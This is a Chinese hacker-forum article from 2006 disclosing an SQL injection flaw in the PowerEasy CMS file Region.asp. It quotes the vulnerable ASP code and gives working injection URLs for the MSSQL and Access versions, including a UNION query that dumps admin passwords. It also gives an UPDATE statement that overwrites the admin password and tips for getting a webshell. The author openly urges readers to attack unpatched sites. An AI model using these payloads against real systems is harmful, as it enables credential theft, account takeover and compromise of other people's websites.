| 网站首页 | Vip会员区 | 教程 | 软件 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 漏洞利用 >> 正文
又一动易0day:Region.asp注入
文章录入:7747.Net    责任编辑:7747.Net  更新时间:2006-11-20 10:18:21

【字体:

哇哈哈,昨天看到动易出补丁了,甚是郁闷,俺拿到这个0day都还没开始玩,就这样被洗白鸟,郁闷啊,早知道不玩动易主站,而且是get提交方式,当初如果听CN的话,也许这个0day还会一直埋在地下,刚看了下动易的补丁,这次补的地方不至这一个,哈哈,传说的7个以上的bug,不知道还省几个呢?下面是大概一个月前写的东西,发出来给大家搞一些懒惰的管理员,补丁都发2天了,还没补的话,就是管理员的错了哦,呵呵~~~38也还没补哦,要上的就快上,哈哈~~~

文章标题:动易最新未公开Bug
文章作者:WhyTt
漏洞发现时间:2006年10月22日
个人Blog:http://why_tt.mblogger.cn //个人
个人Blog:http://whytt.mblogger.cn  //技术
影响版本:ACCESS和MSSQL

今天下午看了一个下午的动网代码,头甚是疼,于是晚上回来,找找动易还有其他漏洞没,结果一看,还真有一处,逻辑错误!
在Region.asp中

Country = ReplaceBadChar(Trim(Request("Country")))
Province = ReplaceBadChar(Trim(Request("Province")))
City = ReplaceBadChar(Trim(Request("City")))

对所有传入的变量都进行了过滤,但是编程者在这里:

Set TempRs = Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")
If Err Or TempRs.EOF Then
    ReDim ShowProvince(0, 0)
    Province = Trim(Request.QueryString("Province"))
Else
    ShowProvince = TempRs.GetRows(-1)
End If
Set TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='" & Province & "'")

大家可以看到,Province = Trim(Request.QueryString("Province")) 这里直接取的是传入的Province,而不是过滤后的,所以这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意构造的,所以我们就可以构造我们的SQL语句。

但是要进入这个查询的前提是:Err=true 或者 TempRs.EOF,而要达到这2个中的一个,就是要让Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" & Country & "' ORDER BY ProvinceID")这条语句在表中查询不到所要找的Country,这样就好构造了。下面是利用代码:

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+user>0--

就是在

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'后面加上我们的SQL注入语句。


                       这就是整个利用原理,很简单,但也很致命的漏洞


上面是MSSQL版本的利用,而如果要是ACCESS版本中的利用,那么怎么办呢,呵呵,聪明的你可能觉得我在说废话老,看吧。

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi' and 1=1 and '1'='1

这样的话,我们的and 1=1就是在access版本中的利用。呵呵。这样就完成这个漏洞在2个版本的利用。

http://127.0.0.1/Region.asp?Country=tt&City=whytt&Province=shi'+and+1=2+union+select+password+from+PE_Admin+where+1<2+and+'1'='1


其中username是要暴的字段,哈哈,通杀的感觉爽吧


                                                By
                                                     WhyTt
                                     

补充:

update PE_Admin set Password='13955235245b2497' where id=2--

如果不可以列目录就插管理员,但我喜欢直接update管理员密码,拿完shell后改回来,或去加一个

如果可以列目录就直接找web目录,然后用nb的getwebshell就可以拿到webshell了

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |